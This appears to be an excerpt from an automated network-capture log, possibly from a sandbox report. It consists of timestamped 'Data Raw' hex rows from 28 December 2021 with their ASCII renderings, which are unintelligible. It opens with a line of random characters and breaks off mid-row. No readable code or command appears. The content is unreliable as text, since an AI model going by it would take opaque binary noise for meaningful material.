\+ELn8:*4\|~<1pj}S&P"Pub\B Dpm1XJ5.ve2nmaD;YJ!_!CC^
2021-12-28 17:13:33 UTC	559	IN	Data Raw: a5 cd 01 92 27 8f ea c0 c4 a0 ff 79 31 a3 42 f2 1c 25 9b a3 e9 a1 05 c8 75 11 44 a5 a9 ef fb cb a8 0d 5c 8c 6a 60 c0 75 fb 68 85 ce e1 5c 07 0b b9 98 47 bb b7 41 c6 48 ec 10 4d 42 6a 55 1e 95 76 34 dd 64 43 e0 e2 77 8e 5e cd c6 66 e4 0e dc 60 e5 a4 ce 9a fd d6 50 e4 83 10 73 d6 41 5d 25 5b b4 c7 5b 03 da b7 5a 5e ff bc 6f d3 c7 e8 29 94 fb 85 46 d7 73 77 f0 9d 3c 79 2c c5 76 28 4a 02 41 34 c6 b6 b4 2a 3e 67 55 e2 1d 00 ff 75 1d 82 21 89 23 8c 8a 64 31 36 74 20 f6 3f e9 fd 24 ee ed 7e 58 63 c2 ae 32 2b 32 98 bd f4 d7 00 68 e7 a2 90 a2 38 bc 42 e6 8f 6b 40 5c 1d 32 f3 0f db 30 6e d4 21 89 22 f9 1d cb 5a b3 1b 23 6c 87 e9 09 f3 cf 6d f6 14 23 9f 16 3d 80 7c b4 0d cd 0c ba 90 0b 62 c1 c4 49 11 2d e2 37 b8 2a 5d c5 54 9a 23 6e 23 06 ee c4 6b bf b7 82 7f 1c 30 Data Ascii: 'y1B%uD\j`uh\GAHMBjUv4dCw^f`PsA]%[[Z^o)Fsw<y,v(JA4>gUu!#d16t ?$~Xc2+2h8Bk@\20n!"Z#lm#=\|bI-7]T#n#k0
2021-12-28 17:13:33 UTC	575	IN	Data Raw: 33 a3 b1 8a a5 d6 fc 27 28 f6 1c 55 41 78 d3 d2 3a 9c 46 ee fb 70 70 31 75 7e c9 a2 fd af 89 f8 f1 eb d9 07 43 0f 17 aa b5 d2 6b 5f 5e f1 91 76 81 c4 76 62 5b ce 3f 2e 4d cf 2b e3 16 53 31 34 8d eb 89 6f f6 7b 92 cb dd 0a eb fd f8 58 90 69 74 73 42 9f e1 e4 06 40 2e ce 30 fb f7 12 a7 40 86 3b d8 a2 cd d8 de 47 3e 89 87 c6 08 4c 3d c7 cc 7c 3c 0d 1b 92 30 5f f9 7c b8 aa ea ed 04 a1 be 52 31 11 66 36 84 c1 e4 37 44 b5 34 7c 90 24 28 ea 8a ed 10 77 90 ba 33 4a 2c bf 17 28 1d 94 2b 7a 1d 16 b8 45 31 4b 92 6c c6 64 2b 66 4b a2 57 7e ee f3 59 61 bc 2f 14 00 07 70 54 42 de 49 95 e9 b0 55 50 0a 02 b8 94 6d 4e f3 73 dd ac 04 fa 23 a5 78 2a 62 7b f2 f3 6d 01 b5 5d d7 96 0c a8 e4 2c 10 3a 53 d0 b1 60 94 e0 83 b0 26 10 3a e2 63 82 99 53 32 32 36 b4 18 43 ad 32 d8 39 Data Ascii: 3'(UAx:Fpp1u~Ck_^vvb[?.M+S14o{XitsB@.0@;G>L=\|<0_\|R1f67D4\|$(w3J,(+zE1Kld+fKW~Ya/pTBIUPmNs#x*b{m],:S`&:cS226C29
2021-12-28 17:13:33 UTC	591	IN	Data Raw: 52 19 5f ee 96 38 60 d1 3d c3 c4 c4 25 8c 6d 02 02 8a fc 8d f9 c9 7d 7d 0d ef 0c 03 43 62 56 7e 19 e0 29 d3 ff a2 3d fe 1a 8e 41 a1 86 70 63 dd 16 3d d3 7a d9 24 fa 7a 52 47 b8 ac 8d db da b0 d4 95 75 0c 17 ae 5e b4 b6 a7 8a 5c 6a a8 c0 fa 80 e5 1c e7 c3 aa a4 2b 42 f0 2e 2f 66 77 0f f9 20 32 e0 eb 23 41 1d 95 04 a5 18 56 d0 59 c5 46 f3 4c 13 32 9f 77 fd cc 96 b9 14 fe 95 4e 89 aa 71 4d 3d be 7e 2e 0b 3d 12 7c fd 47 8a fe ce a9 0b a4 4e ec d5 e9 20 73 c3 58 96 60 29 93 a0 7c 39 08 d3 42 ad 1e 00 74 52 89 90 27 25 98 37 06 f3 35 2c 5d 05 5f 01 d9 76 b4 1e 41 45 1d 8d 07 6e 0a 08 04 8d c2 d7 c5 a9 05 77 51 5f cd db b5 5f d7 a0 ac 6b 7e d2 ef 3c c9 41 68 0d 0f 8e fe a3 d0 f5 b8 42 04 a5 37 14 5b af 35 6c 1e 9a 81 6b b9 ea 12 ae 27 e7 60 9b 11 00 f8 9c 59 63 Data Ascii: R_8`=%m}}CbV~)=Apc=z$zRGu^\j+B./fw 2#AVYFL2wNqM=~.=\|GN sX`)\|9BtR'%75,]_vAEnwQ__k~<AhB7[5lk'`Yc
2021-12-28 17:13:33 UTC	607	IN	Data Raw: f1 87 23 52 3c d2 ff bc b7 55 68 e0 98 b8 22 83 61 13 14 1f 8c 46 3b bd 37 02 51 7b 63 48 6e 27 c1 6d b9 59 69 5e 08 db c3 86 4b b8 b6 8c 9f 50 c4 d5 a2 44 88 92 f6 e8 6b 5d 09 59 76 cd 0c aa 1c 69 78 d5 e2 3d 3b 4f 15 9c 2d ad 98 0f fd 1e bc 9a 4f c6 84 19 c2 3c eb a2 47 b5 e4 87 e0 d7 df 27 45 7c b9 77 f3 dd d4 7a 8f 07 1f eb 43 01 10 03 4d ef 78 12 ea 11 14 b4 d7 55 ac b3 53 d8 c2 d7 22 5c cd 27 f2 a7 43 66 3d 70 4b 78 21 a0 ec 95 26 7b 99 72 22 a1 4d b3 61 d5 00 e0 e5 41 67 67 67 24 c7 bd f4 e7 5a 76 3b e4 23 b9 72 3c 6f 6b fb c7 95 1a 45 14 a0 4c 55 a1 d7 5d 4d 12 e2 84 50 11 ba b0 27 29 56 2f 02 e9 e2 f7 c0 1f 61 e3 6d 2e 03 7c fd c4 84 34 a9 7c a9 cd fc 08 7a ea 39 aa fe 09 76 38 14 37 68 ec f7 b2 98 78 b8 6c 0d 33 76 32 d3 af 2d 6a d9 10 de f8 99 Data Ascii: #R<Uh"aF;7Q{cHn'mYi^KPDk]Yvix=;O-O<G'E\|wzCMxUS"\'Cf=pKx!&{r"MaAggg$Zv;#r<okELU]MP')V/am.\|4\|z9v87hxl3v2-j
2021-12-28 17:13:33 UTC	623	IN	Data Raw: 28 79 bb 46 09 f2 f7 a2 82 2e 4a 2a 58 1f c0 e3 a6 72 5e c5 7b c6 be 14 75 a1 b8 73 40 f1 68 16 3e a2 18 bf 19 37 42 6e 5c 38 76 f7 39 c7 5e 54 bd a2 1c 95 8c 88 f5 60 ff 59 04 f2 3a 21 7a 03 62 99 8c df fd 66 f4 b9 24 2b a4 68 a7 05 bb 96 22 02 07 84 ff b0 34 bc 85 62 e1 7a 05 6b 72 c7 97 17 5f 06 c5 8a 8d 11 3e 2a c2 13 53 ca 0f 47 67 11 f2 a3 ea bd da 13 bf 0d fb 44 10 01 e1 df 6e 40 11 40 34 cc 56 da cc 84 47 41 fd b7 58 9e 51 71 a5 22 f6 7d 01 78 77 4e 49 b0 ae 7d 89 38 56 90 16 19 ce 82 db 00 9b e9 97 ac fd 2b eb 8e 5d 00 de 14 01 e2 92 30 d8 d9 7c 2d cd 7b fa 45 0a 37 89 dc dc 76 a3 2d f9 94 21 1b 5a 25 02 9e da 02 82 a9 6d 39 01 23 10 ce 1b f4 a4 23 67 40 0c 0e 3a 48 fe 76 fc 33 0f 9c f4 d6 0a e8 a5 e9 ec 61 f6 61 c1 af 97 12 e0 5d e5 3d fc ae f6 Data Ascii: (yF.JXr^{us@h>7Bn\8v9^T`Y:!zbf$+h"4bzkr_>SGgDn@@4VGAXQq"}xwNI}8V+]0\|-{E7v-!Z%m9##g@:Hv3aa]=
2021-12-28 17:13:33 UTC	639	IN	Data Raw: e6 f6 9d 15 6a 8e 1d d9 23 c7 ac f5 e5 b3 b9 51 b8 f5 59 76 81 be df e1 d2 9c 50 3c b0 d1 bc 5f b1 40 1f 63 02 fb 2a 1f 48 ea db fd 8e b0 3c 23 0d 28 5e c4 07 92 15 b8 31 9a 51 d0 dc 10 e2 27 8e 6f 31 23 cc 4b 7a 46 b6 06 2e ff 55 23 09 ff 51 8a 78 ea 8b 6c db 48 bc 3c 59 e8 64 27 18 53 85 c5 ff 9d b0 54 90 77 5b b7 98 a7 6f 20 bd cd 52 ae 1c 39 9d ce 04 2c 60 1b 78 0c c9 32 98 f2 f7 d1 1a 21 92 f1 5e 49 1f 52 fe 98 70 2b 96 4a a7 b9 25 6d 1f bb 20 ed ba 6f 5e 2f 2b b6 fa 36 a4 d7 be fc df 87 e1 f5 92 f0 cc ef 89 f3 dc e5 e4 98 67 dc 2e 71 fa 15 62 0c af 1d 76 97 32 77 d6 05 23 59 0c ae 04 64 cc 33 09 9a b8 b7 79 62 2d 26 80 af f2 b4 56 af 2a 2c 9e 7a 40 58 34 c4 44 65 3a dc 31 64 b9 3e 29 77 09 fb 17 21 68 ad 2f 44 2b 3a 94 cc 41 a7 28 1c a7 01 ed 9c e8 Data Ascii: j#QYvP<_@cH<#(^1Q'o1#KzF.U#QxlH<Yd'STw[o R9,`x2!^IRp+J%m o^/+6g.qbv2w#Yd3yb-&V,z@X4De:1d>)w!h/D+:A(
2021-12-28 17:13:33 UTC	655	IN	Data Raw: 39 06 ab e6 f9 4c 4b 70 d4 f8 86 52 25 3b 77 8b b9 58 e0 2c f3 e8 24 f0 7e bd 75 d8 c4 4e 92 c9 94 2b 27 bc 8e 82 be d5 d3 e5 d3 39 8b 50 cc 38 a8 0c b6 65 95 32 ed ad d2 be a1 9e b1 ec f1 38 c5 bf 5b e5 74 35 21 83 35 9f 17 93 0e 7b 25 bd 1b 19 2f ba 03 36 10 b8 7e 13 2f 23 01 51 67 dd 6c 83 72 2d 8d ef f6 cf 6f ef 73 e8 cb 2b 18 b5 f2 1c 0f 3f 71 6d 85 bf a3 7b 89 16 d0 a4 d4 b4 06 bb a9 a8 fa 01 09 e0 73 52 ca 4a 4d 7f 2e a6 67 3e 2d 90 80 d3 13 17 af 20 3d 37 11 91 22 f5 f3 bd db 80 79 a9 0a fc 47 52 e5 55 d3 f9 8c 43 b4 7a c0 7a 8d dd 84 e9 ec 6b 7b 73 40 1a 63 bc 1f 22 39 cf d8 9a 62 aa 44 4c 9c cf 6d b2 96 0e 1f 24 2b 7f 98 8a fe 15 7d 3b de 7b 34 88 44 47 ec 69 e0 3d c1 47 43 e4 f0 85 65 a5 a0 f8 fa 92 b7 c8 0e 62 22 6c 08 18 05 cb fa 21 15 49 b5 Data Ascii: 9LKpR%;wX,$~uN+'9P8e28[t5!5{%/6~/#Qglr-os+?qm{sRJM.g>- =7"yGRUCzzk{s@c"9bDLm$+};{4DGi=GCeb"l!I
2021-12-28 17:13:33 UTC	671	IN	Data Raw: db fa 94 9d b2 8a 96 bf 86 38 36 82 01 17 f2 97 0e 1f 2d ab d8 4b 04 eb 6f 6c 88 ec 47 cb 23 e6 5a 54 34 99 bf 04 08 01 fe b1 1d ef 70 c5 22 88 f7 9c a7 1b 9c c2 e0 2b 1d 3f 04 ef 0e c1 6b 5c 1e c9 8b 94 36 bf 07 16 be 49 a3 fb 3c cf f7 08 b1 79 65 46 4e fa a9 45 e2 b0 d2 47 da ab 5f 76 72 a6 76 34 57 10 42 e3 62 84 67 96 d5 0c 68 0e f5 d9 b0 33 6b 74 3e 6d b6 9a 7e 16 02 25 ea e8 7d e8 3d b5 ec bf 6a 72 cc af 85 1f cc 03 e8 04 c7 51 09 b4 17 9a db fd 61 ba 59 58 9f cc 8a ce 03 d8 01 0b 01 75 69 47 1c 35 42 8f d2 85 c0 0b fc f9 72 a1 b8 3f 64 89 d9 20 7b ba 38 11 b9 4a 89 4e 22 dc 4d db aa b5 92 35 9c 6e ff aa 61 ef e2 8a 6f 02 bd 5f 31 c7 9b 9f 32 63 33 61 3a 73 75 a0 d1 3f cc 05 12 4d e6 f9 c0 cb ce 4b 63 79 33 6b e4 be 69 87 ad 34 cf 28 3f ea a6 af 8a Data Ascii: 86-KolG#ZT4p"+?k\6I<yeFNEG_vrv4WBbgh3kt>m~%}=jrQaYXuiG5Br?d {8JN"M5nao_12c3a:su?MKcy3ki4(?
2021-12-28 17:13:33 UTC	687	IN	Data Raw: ad af 0f f4 9f 83 f7 0c 9c cf d0 b0 1e 05 db 55 0a f3 ce 40 51 b9 24 e7 1d a6 17 db 1a d4 7e 38 5c 59 a0 1e 4b 76 80 a3 e7 4d b8 ca 9a 60 f5 97 0f 3a 74 bf 68 01 9e 49 6a 82 fd fb ba 3b b2 c8 5c cc 35 fd e4 5d 04 64 70 6a 3e 81 2c 4c a1 af c4 84 2f e5 ed cb 97 ac 8a 76 08 81 95 36 17 6a b4 7f 17 87 d3 0c 7a 10 67 c9 4e b1 70 29 37 c5 bc 0b b0 e6 04 4c 86 44 ff fc 16 7a 38 44 72 a8 9c da 96 90 96 c1 ad 50 1e 2d 6b 08 97 04 8e 26 b5 06 ef 9c 8e cc a5 9a 71 96 27 e5 4a 86 9d 58 63 fa 42 6a 3f 0e 2b 7b c3 4f 56 8f 84 f3 d7 27 e4 6f 76 d3 6f 03 ef 3c 00 6f 94 a0 2b b4 15 73 99 06 5e 8b 97 f7 7d 6b c9 d9 7e 3d b7 b4 e1 94 9c d5 4a 24 60 2e 9e 15 8b b2 3b 0d e6 ec d6 fe eb 05 e1 19 cb 65 8f 89 f0 19 76 0b be a4 ee 00 6f 20 06 50 12 9e fd fe a9 9e 41 70 c2 11 30 Data Ascii: U@Q$~8\YKvM`:thIj;\5]dpj>,L/v6jzgNp)7LDz8DrP-k&q'JXcBj?+{OV'ovo<o+s^}k~=J$`.;evo PAp0
2021-12-28 17:13:33 UTC	703	IN	Data Raw: f3 24 92 2f 3e 99 e2 2d c9 a9 0f 03 cb 86 eb 9d ce ee a4 20 23 af 44 1b 1b b8 b2 88 b7 c8 b4 c2 1e 7b dc ef 39 34 03 de 81 f7 be ac ba 8e f9 7b 6c 60 f8 b0 b2 b2 17 03 cb b5 ff b4 0e ad 02 4d c7 49 96 ac dd 93 f2 44 a2 e1 c0 03 42 83 1c 83 a1 d8 11 91 c7 35 5c ae 59 dd d9 2e 33 21 fe 87 32 72 e9 a3 b8 1b d1 13 50 2b 64 c6 44 37 a3 b3 59 28 a7 62 55 30 d8 2a 3a 68 2c 4c 5b 4b d2 9a dd 0e 44 45 22 3b c2 c5 34 df 77 ff 46 b8 88 85 3d d2 7a 83 46 18 b0 b7 a4 38 0a 03 35 f7 bf 1d 7f 05 b8 2b a5 eb 8f 83 ba a9 3a fe db 9c 9c 8c ae c3 69 f6 4b 87 2c b3 c2 20 09 7d 3c b1 e6 0c 42 12 a2 d4 6c 13 31 98 60 8f 30 48 81 1d c9 c7 c7 c8 69 a9 42 3a 17 fe c1 55 7e d9 8d 2a 23 82 3e cd 03 3e 72 00 a8 a3 98 e1 42 11 3b fe b0 0e 32 99 9a 30 3a 60 02 13 76 76 4e a0 eb c7 1b Data Ascii: $/>- #D{94{l`MIDB5\Y.3!2rP+dD7Y(bU0:h,L[KDE";4wF=zF85+:iK, }<Bl1`0HiB:U~#>>rB;20:`vvN
2021-12-28 17:13:33 UTC	719	IN	Data Raw: fa 94 22 48 b4 b7 26 d1 fd ca 18 25 91 39 7a 8d 50 22 0d b9 1f 57 3b 5f 83 b0 c4 13 e5 76 a9 e5 8a c8 be 16 2f de 1b c3 b9 ae c0 51 28 1d 66 ff de c9 ce 19 09 1e 9b 99 14 10 4f 35 3d 17 65 86 83 8f 0d a9 c6 b4 53 1b 58 1e 5b 31 52 e2 bd 85 d0 c3 f9 3b a9 65 5e 76 8b 83 13 7b b3 85 38 b7 39 67 aa 35 c6 1e ad 97 cb a7 0a 52 a6 1a 77 5c d6 5f c1 42 d3 a2 4b 1b 92 48 d0 94 b9 63 ea ab 9e 2d be 9f 71 8b f9 75 1f c1 26 1f 0e e8 15 02 c5 55 77 c0 0d 58 25 12 c1 92 8c f1 d7 81 6e b2 98 f6 cd 70 63 58 58 6c 8a eb 8a c6 4d f9 7d 6a a6 77 b7 41 81 6f 59 af 32 3d 9a bb 38 9c 3d d0 cc 6b ac 65 54 33 67 54 9f 73 3d b4 7f ef 9f 3d 46 18 0f 90 7b ed d4 95 19 63 f9 82 a6 4b c8 ea 23 08 2e 78 b8 39 17 53 45 dc 56 b8 52 e7 85 0b fb b0 a4 05 08 74 d2 93 5f af 57 cf 74 00 e2 Data Ascii: "H&%9zP"W;_v/Q(fO5=eSX[1R;e^v{89g5Rw\_BKHc-qu&UwX%npcXXlM}jwAoY2=8=keT3gTs==F{cK#.x9SEVRt_Wt
2021-12-28 17:13:33 UTC	735	IN	Data Raw: b3 ae 3b ae 09 bb 56 d2 91 a6 a3 de 91 7d fe 6f b1 09 e4 fe 90 dd 45 21 2b a6 30 d5 c3 8e 5a a9 fb 68 43 35 91 1f 5f 19 42 b6 48 8f cf ca 21 ad 0a 2e 83 a5 32 04 e4 1e 95 72 dd ea 78 67 ab 37 9d dc ff 38 af ba b6 91 ba f2 c0 40 4a 44 14 f1 d9 69 76 a2 e0 11 fe b3 e4 fd 41 78 a9 48 53 a2 4a d2 e6 02 d2 06 f3 4d 84 5c dd f0 10 e7 f4 4c f4 11 da 37 18 b1 56 69 fe 0b b7 2d 97 a5 70 b6 2d 53 25 68 59 5a 5f 6f e7 0b c7 2a a3 02 21 84 74 4f 4c 5d d8 fb d9 88 80 42 3e e2 5b 6e 53 28 c2 8d 5d 85 86 d0 c4 02 bb a8 9d 64 93 57 36 cb 4d 1c 26 fb 4f d8 9a cb 2e 58 98 d0 8d c5 a1 e6 ec 90 fd fe dc d7 e9 a3 b3 4d f8 ea 45 98 90 5a 58 92 2b 58 46 52 c3 6f 59 be cf 60 a7 e3 f7 83 ae 98 3e 6c ae 3b af 60 24 f5 3c 89 2c e2 a7 5b 84 e2 12 f7 f8 46 39 21 7b a8 0c 63 d2 d7 3b Data Ascii: ;V}oE!+0ZhC5_BH!.2rxg78@JDivAxHSJM\L7Vi-p-S%hYZ_o*!tOL]B>[nS(]dW6M&O.XMEZX+XFRoY`>l;`$<,[F9!{c;
2021-12-28 17:13:33 UTC	751	IN	Data Raw: 6a c9 c9 10 18 8d 9a a7 0a 33 90 ca 0f 46 43 3e cc 49 3e 1a 3f dc 9b 91 1b ba 40 9d c7 1f ab e2 04 c3 69 e4 5c e9 c9 09 f6 b8 7b 23 f1 3a 1c 6e 8a b9 2b 70 9f 38 d9 55 66 56 e9 bc 79 b2 a9 2d 1e 7e 38 60 2e 47 fe 82 58 80 29 5d 3a 1b fe d4 8b 00 bf 7d 28 c1 8a 25 a8 c5 73 60 bc 1c 71 8c f7 5c 80 10 7e 4e 60 4c 06 9a 22 b6 a2 4f 6c fa b0 c0 3f 87 f1 2d 2a 7e 57 d3 10 d6 ea cc c7 48 b9 a5 bd 89 7e 1f 82 b4 4e d2 99 89 03 f9 49 b8 b1 f0 d8 d9 fc 13 e6 5f 28 90 8b 5e f6 3b 97 14 d6 41 67 e1 b6 b8 18 93 11 40 18 25 61 95 16 64 66 9a 25 ac ee c4 8f d9 1b 4c 36 a7 a4 a9 46 0c 60 01 cb 87 eb 42 3f 3f 04 b1 01 3f 25 f2 f3 a4 e2 2a ab 7f 6b 10 09 f7 1c fb 1f c8 fa 72 db 9f 46 c7 30 c1 dc 4d 67 ef 49 61 1a a8 65 b1 a4 8e b3 8c ef e6 a0 3a 1a cf 91 9d 38 5a 94 fb b0 Data Ascii: j3FC>I>?@i\{#:n+p8UfVy-~8`.GX)]:}(%s`q\~N`L"Ol?-~WH~NI_(^;Ag@%adf%L6F`B???%krF0MgIae:8Z
2021-12-28 17:13:33 UTC	767	IN	Data Raw: 09 2a b9 dd 60 89 4a cd 23 5d 46 cb 4d 08 c4 9b bc 7e bd 04 3c ee 06 b4 71 e5 12 43 ae 27 26 04 92 34 e6 6c 8f bd 07 a5 46 06 3c 2b ce 31 89 51 79 f5 cc da d0 b1 a6 95 e6 77 be ae 8e 96 5e e9 ca 13 42 27 7e ff 89 6d 71 2f f3 e3 7e 23 08 b8 1c 29 48 e6 cc f7 23 69 2c 2e 02 25 10 24 81 1e 75 c6 16 e4 88 5a 91 b6 57 d3 d0 7a 81 c8 6f b1 65 0f 78 89 d3 c4 5e 71 3f 86 fd 4c 8c c4 fd 7c 43 fe e7 a8 92 38 c3 fc dc 65 d2 58 a8 72 3c 1d 1f e0 74 e7 c7 05 ca 71 80 b0 e3 21 30 cd 2d 66 5e ec e0 fa 0b 88 74 25 46 cc 25 7a 3d 23 63 4c 90 94 b7 49 44 e1 48 dd 05 f7 48 fb f7 d5 64 15 4c 40 2d bb 00 51 19 c0 53 27 4c 97 55 c3 b2 00 66 ec bf a5 77 58 11 1a 74 62 d6 67 7e 56 eb 9f 2e aa fa 6e d8 46 d9 c8 34 26 b5 a9 57 30 60 51 10 7d ba b5 80 1f 0d 4c 39 0b 1a a8 0b 0f 55 Data Ascii: *`J#]FM~<qC'&4lF<+1Qyw^B'~mq/~#)H#i,.%$uZWzoex^q?L\|C8eXr<tq!0-f^t%F%z=#cLIDHHdL@-QS'LUfwXtbg~V.nF4&W0`Q}L9U
2021-12-28 17:13:33 UTC	783	IN	Data Raw: f3 8d 41 ea fe 57 25 f9 b5 0d 2f a9 29 34 db 96 21 a4 da 64 a0 ea 1e a6 8c 00 dc df 59 00 71 d1 fe 1f 0f 97 57 c7 b0 3a 7e 90 46 97 3f 67 54 39 6b bd 8a e7 e6 1c 07 41 bb 33 3d 6d fc d3 2c e0 8b b1 96 a2 c4 de b4 3a 92 5a e9 c2 ef 67 df cb 05 3f 36 11 9c 1e 33 27 73 6a be d8 af 67 d0 8b ca 44 4a 8b 02 33 72 27 61 18 2b e9 1f 8e 14 1f bc 4c 75 de 92 ec 75 1c 76 6c e1 39 29 fc 25 5c ec 40 56 77 f3 33 fc 4e 80 c2 29 39 0e 8e 50 b0 fe 70 8a 2d 43 63 e7 ca 8a 2a 40 c0 9b af 69 84 1a 1a 41 46 39 cc 9e 7d a6 2a fb 14 53 78 13 6c 54 0f 5c 3c 2c 11 d7 24 01 8d 7f 32 7e ca 6e 95 ba 83 d4 c5 72 9c cf 0f 0e 2a 7e 34 cc 7f 42 82 45 1b c4 61 66 eb de 61 98 0e 95 59 0c ee 54 8a c3 c4 a6 f6 d4 27 14 c6 2a 61 35 7a 8c d3 7d e5 70 cd d4 f0 ca bc 3f c3 d0 3a c8 2d 08 a3 a7 Data Ascii: AW%/)4!dYqW:~F?gT9kA3=m,:Zg?63'sjgDJ3r'a+Luuvl9)%\@Vw3N)9Pp-Cc@iAF9}SxlT\<,$2~nr~4BEafaYT'a5z}p?:-
2021-12-28 17:13:33 UTC	799	IN	Data Raw: ea 4e 78 f5 d2 76 3e 1b 34 72 f4 20 10 64 67 f9 09 3c 3d c6 48 59 d7 39 c2 30 4a 22 1a a8 16 10 5d b6 a9 b1 ac e2 7d b9 8f 6c c1 e9 2f b4 0c cc 83 24 23 d8 c0 94 3d f7 9c 88 45 7b 0f e8 1a b3 70 c0 83 8a f6 02 f9 28 d4 5e d3 52 20 be d5 c8 71 7f c4 27 15 7e 8e f2 c5 c4 44 1f d1 d0 c8 89 7b 7e 5b 72 1b f7 89 db 77 e3 ce 97 cf a5 d5 19 c1 5c 14 91 f0 d8 21 c8 9e b8 3b 62 8d b8 08 c9 d8 06 b8 53 d1 70 a7 25 9d 2c 4c 57 a0 89 f7 b6 63 5d 88 f7 84 d3 8d ae ed 55 ab 70 b7 5d f7 67 cd ee 12 96 d3 e2 6b 1c 3b e0 b1 f1 91 60 1c e1 ea 9a 7c c8 50 1f ca bb 1c f2 07 40 22 81 35 80 ea 7a 3e bc db 14 97 f9 d4 24 fd 25 fd c4 ba ec 55 2d ac a7 69 92 ad f7 f1 e8 ac 52 79 13 fb 7d bf da d9 92 a8 0a 02 32 ee eb ec 44 b3 ab 6b 95 e7 4d e0 f3 71 fe 36 af d7 c0 c8 85 50 34 54 Data Ascii: Nxv>4r dg<=HY90J"]}l/$#=E{p(^R q'~D{~[rw\!;bSp%,LWc]Up]gk;`\|P@"5z>$%U-iRy}2DkMq6P4T
2021-12-28 17:13:33 UTC	815	IN	Data Raw: 84 e7 41 b7 26 37 16 36 6d 72 72 68 f2 dd 97 2b e6 3b e9 4c 4a 24 63 bb 95 03 8d f1 42 c2 e8 16 31 00 3c 31 85 c1 54 f5 65 ee 66 65 23 e3 6a 8c 14 66 97 78 53 3f e1 df 12 ae 52 77 98 49 c6 39 7e da e4 d6 f9 76 02 0e ba 39 e9 0f 01 f8 44 79 57 b1 da 62 7e 87 5e 6b bf 53 20 71 e7 1d d2 ef 5c 9f a8 53 8a 03 4c e0 ea 62 d1 ba 84 7c 8e 7f 13 77 fb 17 80 dd cb a1 76 b5 f0 00 70 0f 52 39 0b 80 03 79 14 db 0f 00 1c cc ac 52 b6 66 90 57 52 64 7f d6 50 bb 55 ac db 8c b2 5c bd 67 36 c1 f3 11 59 61 0f 96 e6 c1 12 8e c9 83 be cc df b2 5c 69 f4 71 30 4b f2 74 50 a2 e4 2c c7 bc f6 a3 48 4b c1 40 9c 99 82 1e 9c c1 21 12 bb 92 a8 58 b7 4f 22 f9 d7 39 ac 23 85 d7 13 e5 4c 6a fb 78 44 8a 61 3c 02 c5 06 d0 cf 17 a0 3c 9c 34 de cf 6c ee 06 8e cb 7b 5e 57 f3 57 32 54 84 b2 cf Data Ascii: A&76mrrh+;LJ$cB1<1Tefe#jfxS?RwI9~v9DyWb~^kS q\SLb\|wvpR9yRfWRdPU\g6Ya\iq0KtP,HK@!XO"9#LjxDa<<4l{^WW2T
2021-12-28 17:13:33 UTC	831	IN	Data Raw: ac 4d d5 ea f9 fc 70 7a f0 07 5a e8 ca 07 49 04 c9 d2 e2 8c 7c b5 b6 15 72 09 81 29 33 6d 86 e9 98 01 44 d9 db 86 ca b1 39 7f b5 4d c9 93 bd 02 54 b0 6d bf de c8 0a 83 e8 eb 5b bd ca 13 fb 41 5a c3 d3 3b 9c 38 db a1 dc e8 62 b8 6c c8 a0 71 19 c9 43 7a 31 22 ca ac f1 a7 bb b5 1e 1e 44 26 74 48 d5 56 12 0c 6e 26 e0 62 96 55 b2 e2 11 6b 96 70 4e 15 4f a8 e3 df d0 c6 99 9c 88 84 e8 52 af d1 10 6b b8 17 a6 b2 9b df a6 09 34 1b 50 a8 be ce e8 7b 81 71 39 0c 5a 89 44 65 4e 32 94 ae 8d a3 b0 20 61 f6 28 3f 21 9c 7f 9c 8d 41 a0 d4 7b 4b 50 ea 25 f7 21 70 8d 01 58 ba 62 7d 50 22 98 e6 5f 93 73 a4 a2 97 8f 47 62 49 f0 a0 c1 95 83 b7 a6 60 f4 3e e3 b7 c3 cc cf a0 c1 97 74 f3 37 4a d5 0c 41 9f 88 0a 79 fe a7 b8 cf 2f 64 4c 8e 96 91 cd 52 04 83 6c e9 c9 98 b9 74 dd bd Data Ascii: MpzZI\|r)3mD9MTm[AZ;8blqCz1"D&tHVn&bUkpNORk4P{q9ZDeN2 a(?!A{KP%!pXb}P"_sGbI`>t7JAy/dLRlt
2021-12-28 17:13:33 UTC	847	IN	Data Raw: c6 10 1e be 8a 51 d5 c5 8a 83 20 42 d9 0f f0 05 d0 59 b7 d0 0c 32 af ec a0 16 d4 8e a6 c5 c7 f3 70 1d ca eb 6b f0 6c f5 c2 2e 42 ef c8 a6 d6 10 63 78 9e 35 64 21 40 4c 3a 56 72 5b b6 7d 6f 65 ac a9 43 b9 30 dc f1 43 b5 c7 b6 2f e1 77 91 17 7c e6 e8 68 4f b9 f6 fe 27 31 54 c4 2a 55 0f 8d 13 5b ff 97 da 49 8c fb e4 8c 23 46 e4 44 85 ea 9f 9c 9e dc 65 8c b5 e8 65 1c f4 00 32 63 dc 13 00 07 71 4b fb 33 2f 8e 74 0b 2d 1f 04 d1 8a f7 99 8b ce cf e8 f0 09 61 94 fb b9 22 77 a3 d8 fd 58 e5 2b a2 c8 01 72 72 82 03 23 22 14 89 fd 46 9c 53 2f e8 55 bb 4c 64 39 cf fa 37 ce cc fa 86 06 6c 46 67 a4 e8 75 fe f9 37 d7 e1 1d 73 7c fc 8a be 18 88 83 27 ab 3e 14 33 2a a5 7a 81 1b 36 20 73 de ed c4 0b d8 62 cc 73 85 86 9c d5 11 8b a2 a6 9c c1 06 1a 2d 84 14 fe fd 33 48 6b 3a Data Ascii: Q BY2pkl.Bcx5d!@L:Vr[}oeC0C/w\|hO'1TU[I#FDee2cqK3/t-a"wX+rr#"FS/ULd97lFgu7s\|'>3z6 sbs-3Hk:
2021-12-28 17:13:33 UTC	863	IN	Data Raw: c1 24 83 c9 b6 67 df 21 48 65 25 97 6b 89 8d 26 aa 61 43 41 8d 19 fe 6b 6c 84 d5 10 6c 76 7a 98 f9 09 53 ba f8 a4 5f 0d 22 17 ca 63 3a cd 0d f5 d0 d8 92 fd 7a bd 70 f8 77 0d 7b af e3 48 55 b2 11 1c b5 36 e5 f0 c5 5e c0 59 4a 1d 63 d0 c0 34 cc bd 19 fe a9 ab 48 f0 8a 0f 2b 8c 4d 50 37 72 00 41 99 0f 8c b4 7d f6 ba cc 36 b0 86 19 fb 42 cb 3c 48 ec a0 48 bb 53 b8 0a fd b5 34 3a 4b cf 53 85 44 8c 89 c0 74 0a 11 59 f8 ba 67 27 cb cf 2d d0 c9 ab a4 98 b4 c8 8a 9a 7d 15 d9 46 1b dd c2 32 35 f4 fb fa bd 43 32 e9 6e d8 a6 b2 33 09 5a 26 c0 5b 1b b3 df f3 f3 f6 4c 77 4e e4 1f 1c c1 3e 62 e2 ff 32 e0 99 de 7a d9 74 4c 04 37 e2 1a c2 8c c8 a5 34 1a 05 8d 74 e0 bb d9 3e 8d 37 3a 9d b4 e9 90 10 1b a8 26 88 9b 80 